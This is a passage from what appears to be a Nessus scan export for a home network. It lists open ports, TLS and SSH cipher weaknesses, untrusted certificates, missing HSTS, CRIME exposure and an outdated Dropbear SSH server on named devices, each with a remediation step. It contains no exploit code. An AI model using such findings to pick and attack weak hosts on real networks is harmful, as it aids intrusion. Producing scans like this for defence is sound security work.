firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 22/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.28		tcp		80		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 80/tcp was found to be open										None								2/4/09		9/14/20

		11219						None		192.168.0.28		tcp		443		Nessus SYN scanner		It is possible to determine which TCP ports are open.		This plugin is a SYN 'half-open' port scanner.  It shall be reasonably
quick even against a firewalled target. 

Note that SYN scans are less intrusive than TCP (full connect) scans
against broken services, but they might cause problems for less robust
firewalls and also leave unclosed connections on the remote target, if
the network is loaded.		Protect your target with an IP filter.				Port 443/tcp was found to be open										None								2/4/09		9/14/20

		11936						None		192.168.0.28		tcp		0		OS Identification		It is possible to guess the remote operating system.		Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP,
SNMP, etc.), it is possible to guess the name of the remote operating
system in use. It is also possible sometimes to guess the version of
the operating system.		n/a				
Remote operating system : Linux Kernel 3.1
Linux Kernel 3.3
Confidence level : 59
Method : SinFP

 
The remote host is running one of these operating systems : 
Linux Kernel 3.1
Linux Kernel 3.3										None								12/9/03		3/9/20

		12053						None		192.168.0.28		tcp		0		Host Fully Qualified Domain Name (FQDN) Resolution		It was possible to resolve the name of the remote host.		Nessus was able to resolve the fully qualified domain name (FQDN) of
the remote host.		n/a				
192.168.0.28 resolves as deco-E4R.
										None								2/11/04		4/14/17

		19506						None		192.168.0.28		tcp		0		Nessus Scan Information		This plugin displays information about the Nessus scan.		This plugin displays, for each tested host, information about the
scan itself :

  - The version of the plugin set.
  - The type of scanner (Nessus or Nessus Home).
  - The version of the Nessus Engine.
  - The port scanner(s) used.
  - The port range scanned.
  - Whether credentialed or third-party patch management
    checks are possible.
  - Whether the display of superseded patches is enabled
  - The date of the scan.
  - The duration of the scan.
  - The number of hosts scanned in parallel.
  - The number of checks done in parallel.		n/a				Information about this scan : 

Nessus version : 8.12.1
Plugin feed version : 202011051454
Scanner edition used : Nessus Home
Scan type : Normal
Scan policy used : Basic Network Scan
Scanner IP : 192.168.0.35
Port scanner(s) : nessus_syn_scanner 
Port range : default
Thorough tests : no
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 30
Max checks : 4
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2020/11/5 13:09 EST
Scan duration : 297 sec
										None								8/26/05		8/27/20

		21643						None		192.168.0.28		tcp		443		SSL Cipher Suites Supported		The remote service encrypts communications using SSL.		This plugin detects which SSL ciphers are supported by the remote
service for encrypting communications.		n/a		https://www.openssl.org/docs/man1.1.0/apps/ciphers.html
http://www.nessus.org/u?3a040ada		
Here is the list of SSL ciphers supported by the remote server :
Each group is reported per SSL Version.

SSL Version : TLSv1
  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    RC4-MD5                       0x00, 0x04       RSA           RSA      RC4(128)               MD5
    RC4-SHA                       0x00, 0x05       RSA           RSA      RC4(128)               SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								6/5/06		7/9/20

		22964						None		192.168.0.28		tcp		22		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				An SSH server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.28		tcp		80		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port.										None								8/19/07		8/18/20

		22964						None		192.168.0.28		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A TLSv1 server answered on this port.
										None								8/19/07		8/18/20

		22964						None		192.168.0.28		tcp		443		Service Detection		The remote service could be identified.		Nessus was able to identify the remote service by its banner or by
looking at the error message it sends when it receives an HTTP
request.		n/a				A web server is running on this port through TLSv1.										None								8/19/07		8/18/20

		24260						None		192.168.0.28		tcp		80		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:11:59 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		24260						None		192.168.0.28		tcp		443		HyperText Transfer Protocol (HTTP) Information		Some information about the remote HTTP configuration can be extracted.		This test gives some information about the remote HTTP protocol - the
version used, whether HTTP Keep-Alive and HTTP pipelining are enabled,
etc... 

This test is informational only and does not denote any security
problem.		n/a				
Response Code : HTTP/1.1 200 OK


Protocol version : HTTP/1.1
SSL : yes
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Connection: Keep-Alive
  Keep-Alive: timeout=20
  ETag: "736-110-5ed60b90"
  Last-Modified: Tue, 02 Jun 2020 08:19:28 GMT
  Date: Thu, 05 Nov 2020 18:12:00 GMT
  Content-Type: text/html
  Content-Length: 272
  
Response Body :

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="refresh" content="0; URL=/webpages/index.html" />
</head>
</html>
										None								1/30/07		11/22/19

		25220						None		192.168.0.28		tcp		0		TCP/IP Timestamps Supported		The remote service implements TCP timestamps.		The remote host implements TCP timestamps, as defined by RFC1323.  A
side effect of this feature is that the uptime of the remote host can
sometimes be computed.		n/a		http://www.ietf.org/rfc/rfc1323.txt												None								5/16/07		3/6/19

		84502				5.8		Medium		192.168.0.20		tcp		443		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		35716						None		192.168.0.28		tcp		0		Ethernet Card Manufacturer Detection		The manufacturer can be identified from the Ethernet OUI.		Each ethernet MAC address starts with a 24-bit Organizationally 
Unique Identifier (OUI). These OUIs are registered by IEEE.		n/a		https://standards.ieee.org/faqs/regauth.html
http://www.nessus.org/u?794673b4		
The following card manufacturers were identified :

D8:47:32:3B:A0:90 : TP-LINK TECHNOLOGIES CO.,LTD.
										None								2/19/09		5/13/20

		104743				6.1		Medium		192.168.0.20		tcp		443		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		45410						None		192.168.0.28		tcp		443		SSL Certificate 'commonName' Mismatch		The 'commonName' (CN) attribute in the SSL certificate does not match
the hostname.		The service running on the remote host presents an SSL certificate for
which the 'commonName' (CN) attribute does not match the hostname on
which the service listens.		If the machine has several names, make sure that users connect to the
service through the DNS hostname that matches the common name in the
certificate.				
The host name known by Nessus is :

  deco-e4r

The Common Name in the certificate is :

  tp-link
										None								4/3/10		6/25/19

		45590						None		192.168.0.28		tcp		0		Common Platform Enumeration (CPE)		It was possible to enumerate CPE names that matched on the remote
system.		By using information obtained from a Nessus scan, this plugin reports
CPE (Common Platform Enumeration) matches for various hardware and
software products found on a host. 

Note that if an official CPE is not available for the product, this
plugin computes the best possible CPE based on the information
available from the scan.		n/a		http://cpe.mitre.org/
https://nvd.nist.gov/products/cpe		
The remote operating system matched the following CPE's : 

  cpe:/o:linux:linux_kernel:3.1
  cpe:/o:linux:linux_kernel:3.3
										None								4/21/10		9/30/20

		46215						None		192.168.0.28		tcp		0		Inconsistent Hostname and IP Address		The remote host's hostname is not consistent with DNS information.		The name of this machine either does not resolve or resolves to a
different IP address. 

This may come from a badly configured reverse DNS or from a host file
in use on the Nessus scanning host. 

As a result, URLs in plugin output may not be directly usable in a web
browser and some web tests may be incomplete.		Fix the reverse DNS or host file.				The host name 'deco-E4R' resolves to 192.168.0.26, not to 192.168.0.28										None								5/3/10		8/5/16

		50845						None		192.168.0.28		tcp		443		OpenSSL Detection		The remote service appears to use OpenSSL to encrypt traffic.		Based on its response to a TLS request with a specially crafted
server name extension, it seems that the remote service is using the
OpenSSL library to encrypt traffic.

Note that this plugin can only detect OpenSSL implementations that
have enabled support for TLS extensions (RFC 4366).		n/a		https://www.openssl.org/												None								11/30/10		6/12/20

		51192				6.4		Medium		192.168.0.25		tcp		8009		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : CN=02396355-86f2-724c-b621-a89625b919e3
|-Issuer  : CN=02396355-86f2-724c-b621-a89625b919e3
				6.5						Medium								12/15/10		4/27/20

		54615						None		192.168.0.28		tcp		0		Device Type		It is possible to guess the remote device type.		Based on the remote operating system, it is possible to determine
what the remote system type is (eg: a printer, router, general-purpose
computer, etc).		n/a				Remote device type : general-purpose
Confidence level : 59
										None								5/23/11		5/23/11

		56984						None		192.168.0.28		tcp		443		SSL / TLS Versions Supported		The remote service encrypts communications.		This plugin detects which SSL and TLS versions are supported by the
remote service for encrypting communications.		n/a				
This port supports TLSv1.0.
										None								12/1/11		7/9/20

		51192				6.4		Medium		192.168.0.25		tcp		8443		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=US/ST=California/L=Mountain View/O=Google Inc/OU=Cast/CN=Chromecast ICA 12
|-Issuer  : C=US/ST=California/L=Mountain View/O=Google Inc/OU=Cast/CN=Cast Root CA
				6.5						Medium								12/15/10		4/27/20

		62563						None		192.168.0.28		tcp		443		SSL Compression Methods Supported		The remote service supports one or more compression methods for SSL
connections.		This script detects which compression methods are supported by the
remote service for SSL connections.		n/a		http://www.iana.org/assignments/comp-meth-ids/comp-meth-ids.xml
https://tools.ietf.org/html/rfc3749
https://tools.ietf.org/html/rfc3943
https://tools.ietf.org/html/rfc5246		
Nessus was able to confirm that the following compression method is 
supported by the target :

  DEFLATE (0x01)
										None								10/16/12		6/12/20

		62565		CVE-2012-4929		2.6		Low		192.168.0.28		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		62565		CVE-2012-4930		2.6		Low		192.168.0.28		tcp		443		Transport Layer Security (TLS) Protocol CRIME Vulnerability		The remote service has a configuration that may make it vulnerable to
the CRIME attack.		The remote service has one of two configurations that are known to be
required for the CRIME attack :

  - SSL / TLS compression is enabled.

  - TLS advertises the SPDY protocol earlier than version 4.

Note that Nessus did not attempt to launch the CRIME attack against the
remote service.		Disable compression and / or the SPDY service.		https://www.iacr.org/cryptodb/data/paper.php?pubkey=3091
https://discussions.nessus.org/thread/5546
http://www.nessus.org/u?c44d5826
https://bz.apache.org/bugzilla/show_bug.cgi?id=53219		
The following configuration indicates that the remote service
may be vulnerable to the CRIME attack :

  - SSL / TLS compression is enabled.
						1.9				Low		55704;55707						10/16/12		12/4/19

		104743				6.1		Medium		192.168.0.25		tcp		8009		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		104743				6.1		Medium		192.168.0.25		tcp		8443		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		66334						None		192.168.0.28		tcp		0		Patch Report		The remote host is missing several patches.		The remote host is missing one or more security patches. This plugin
lists the newest version of each patch to install to make sure the
remote host is up-to-date.		Install the patches listed below.				

. You need to take the following action :

[ Dropbear SSH Server < 2016.72 Multiple Vulnerabilities (93650) ]

+ Action to take : Upgrade to Dropbear SSH version 2016.74 or later.


										None								7/8/13		10/16/20

		69551						Low		192.168.0.28		tcp		443		SSL Certificate Chain Contains RSA Keys Less Than 2048 bits		The X.509 certificate chain used by this service contains certificates
with RSA keys shorter than 2048 bits.		At least one of the X.509 certificates sent by the remote host has a
key that is shorter than 2048 bits. According to industry standards
set by the Certification Authority/Browser (CA/B) Forum, certificates
issued after January 1, 2014 must be at least 2048 bits.

Some browser SSL implementations may reject keys less than 2048 bits
after January 1, 2014. Additionally, some SSL certificate vendors may
revoke certificates less than 2048 bits before January 1, 2014.

Note that Nessus will not flag root certificates with RSA keys less
than 2048 bits if they were issued prior to December 31, 2010, as the
standard considers them exempt.		Replace the certificate in the chain with the RSA key less than 2048
bits in length with a longer key, and reissue any certificates signed
by the old certificate.		https://www.cabforum.org/wp-content/uploads/Baseline_Requirements_V1.pdf		
The following certificates were part of the certificate chain
sent by the remote host, but contain RSA keys that are considered
to be weak :

|-Subject        : C=CN/CN=TP-Link
|-RSA Key Length : 1024 bits
										Low								9/3/13		11/15/18

		70544						None		192.168.0.28		tcp		443		SSL Cipher Block Chaining Cipher Suites Supported		The remote service supports the use of SSL Cipher Block Chaining
ciphers, which combine previous blocks with subsequent ones.		The remote host supports the use of SSL ciphers that operate in Cipher
Block Chaining (CBC) mode.  These cipher suites offer additional
security over Electronic Codebook (ECB) mode, but have the potential to
leak information if used improperly.		n/a		https://www.openssl.org/docs/manmaster/man1/ciphers.html
http://www.nessus.org/u?cc4a822a
https://www.openssl.org/~bodo/tls-cbc.txt		
Here is the list of SSL CBC ciphers supported by the remote server :

  Low Strength Ciphers (<= 64-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC-SHA                   0x00, 0x09       RSA           RSA      DES-CBC(56)            SHA1

  Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    DES-CBC3-SHA                  0x00, 0x0A       RSA           RSA      3DES-CBC(168)          SHA1

  High Strength Ciphers (>= 112-bit key)

    Name                          Code             KEX           Auth     Encryption             MAC
    ----------------------        ----------       ---           ----     ---------------------  ---
    AES128-SHA                    0x00, 0x2F       RSA           RSA      AES-CBC(128)           SHA1
    AES256-SHA                    0x00, 0x35       RSA           RSA      AES-CBC(256)           SHA1
    SEED-SHA                      0x00, 0x96       RSA           RSA      SEED-CBC(128)          SHA1

The fields above are :

  {Tenable ciphername}
  {Cipher ID code}
  Kex={key exchange}
  Auth={authentication}
  Encrypt={symmetric encryption method}
  MAC={message authentication code}
  {export flag}
										None								10/22/13		11/15/18

		70657						None		192.168.0.28		tcp		22		SSH Algorithms and Languages Supported		An SSH server is listening on this port.		This script detects which algorithms and languages are supported by
the remote service for encrypting communications.		n/a				
Nessus negotiated the following encryption algorithm with the server : 

The server supports the following options for kex_algorithms : 

  diffie-hellman-group1-sha1
  diffie-hellman-group14-sha1
  kexguess2@matt.ucc.asn.au

The server supports the following options for server_host_key_algorithms : 

  ssh-rsa

The server supports the following options for encryption_algorithms_client_to_server : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for encryption_algorithms_server_to_client : 

  3des-cbc
  3des-ctr
  aes128-cbc
  aes128-ctr
  aes256-cbc
  aes256-ctr

The server supports the following options for mac_algorithms_client_to_server : 

  hmac-md5
  hmac-sha1

The server supports the following options for mac_algorithms_server_to_client : 

  hmac-md5
  hmac-sha1

The server supports the following options for compression_algorithms_client_to_server : 

  none

The server supports the following options for compression_algorithms_server_to_client : 

  none
										None								10/28/13		8/28/17

		70658		CVE-2008-5161		2.6		Low		192.168.0.28		tcp		22		SSH Server CBC Mode Ciphers Enabled		The SSH server is configured to use Cipher Block Chaining.		The SSH server is configured to support Cipher Block Chaining (CBC)
encryption.  This may allow an attacker to recover the plaintext message
from the ciphertext. 

Note that this plugin only checks for the options of the SSH server and
does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable CBC mode
cipher encryption, and enable CTR or GCM cipher mode encryption.				
The following client-to-server Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc

The following server-to-client Cipher Block Chaining (CBC) algorithms
are supported : 

  3des-cbc
  aes128-cbc
  aes256-cbc
						1.9				Low		32319		CERT:958563;CWE:200				10/28/13		7/30/18

		71049				2.6		Low		192.168.0.28		tcp		22		SSH Weak MAC Algorithms Enabled		The remote SSH server is configured to allow MD5 and 96-bit MAC
algorithms.		The remote SSH server is configured to allow either MD5 or 96-bit MAC
algorithms, both of which are considered weak.

Note that this plugin only checks for the options of the SSH server,
and it does not check for vulnerable software versions.		Contact the vendor or consult product documentation to disable MD5 and
96-bit MAC algorithms.				
The following client-to-server Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5

The following server-to-client Message Authentication Code (MAC) algorithms
are supported : 

  hmac-md5
										Low								11/22/13		12/14/16

		51192				6.4		Medium		192.168.0.26		tcp		443		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=CN/CN=TP-Link
|-Issuer  : C=CN/CN=TP-Link
				6.5						Medium								12/15/10		4/27/20

		86420						None		192.168.0.28		tcp		0		Ethernet MAC Addresses		This plugin gathers MAC addresses from various sources and
consolidates them into a list.		This plugin gathers MAC addresses discovered from both remote probing
of the host (e.g. SNMP and Netbios) and from running local checks
(e.g. ifconfig). It then consolidates the MAC addresses into a single,
unique, and uniform list.		n/a				The following is a consolidated list of detected MAC addresses:
  - D8:47:32:3B:A0:90
										None								10/16/15		5/13/20

		84502				5.8		Medium		192.168.0.26		tcp		443		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		104743				6.1		Medium		192.168.0.26		tcp		443		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

		51192				6.4		Medium		192.168.0.28		tcp		443		SSL Certificate Cannot Be Trusted		The SSL certificate for this service cannot be trusted.		The server's X.509 certificate cannot be trusted. This situation can
occur in three different ways, in which the chain of trust can be
broken, as stated below :

  - First, the top of the certificate chain sent by the
    server might not be descended from a known public
    certificate authority. This can occur either when the
    top of the chain is an unrecognized, self-signed
    certificate, or when intermediate certificates are
    missing that would connect the top of the certificate
    chain to a known public certificate authority.

  - Second, the certificate chain may contain a certificate
    that is not valid at the time of the scan. This can
    occur either when the scan occurs before one of the
    certificate's 'notBefore' dates, or after one of the
    certificate's 'notAfter' dates.

  - Third, the certificate chain may contain a signature
    that either didn't match the certificate's information
    or could not be verified. Bad signatures can be fixed by
    getting the certificate with the bad signature to be
    re-signed by its issuer. Signatures that could not be
    verified are the result of the certificate's issuer
    using a signing algorithm that Nessus either does not
    support or does not recognize.

If the remote host is a public host in production, any break in the
chain makes it more difficult for users to verify the authenticity and 
identity of the web server. This could make it easier to carry out 
man-in-the-middle attacks against the remote host.		Purchase or generate a proper SSL certificate for this service.		https://www.itu.int/rec/T-REC-X.509/en
https://en.wikipedia.org/wiki/X.509		
The following certificate was at the top of the certificate
chain sent by the remote host, but it is signed by an unknown
certificate authority :

|-Subject : C=CN/CN=TP-Link
|-Issuer  : C=CN/CN=TP-Link
				6.5						Medium								12/15/10		4/27/20

		84502				5.8		Medium		192.168.0.28		tcp		443		HSTS Missing From HTTPS Server		The remote web server is not enforcing HSTS.		The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). 
HSTS is an optional response header that can be configured on the server to instruct 
the browser to only communicate via HTTPS. The lack of HSTS allows downgrade attacks,
SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections.		Configure the remote web server to use HSTS.		https://tools.ietf.org/html/rfc6797		
  The remote HTTPS server does not send the HTTP
  "Strict-Transport-Security" header.
				6.5						Medium								7/2/15		11/2/20

		104743				6.1		Medium		192.168.0.28		tcp		443		TLS Version 1.0 Protocol Detection		The remote service encrypts traffic using an older version of TLS.		The remote service accepts connections encrypted using TLS 1.0. TLS 1.0 has a
number of cryptographic design flaws. Modern implementations of TLS 1.0
mitigate these problems, but newer versions of TLS like 1.2 and 1.3 are
designed against these flaws and should be used whenever possible.

As of March 31, 2020, Endpoints that arenâ€™t enabled for TLS 1.2
and higher will no longer function properly with major web browsers and major vendors.

PCI DSS v3.2 requires that TLS 1.0 be disabled entirely by June 30,
2018, except for POS POI terminals (and the SSL/TLS termination
points to which they connect) that can be verified as not being
susceptible to any known exploits.		Enable support for TLS 1.2 and 1.3, and disable support for TLS 1.0.		https://tools.ietf.org/html/draft-ietf-tls-oldversions-deprecate-00		TLSv1 is enabled and the server supports at least one cipher.				6.5						Medium								11/22/17		3/31/20

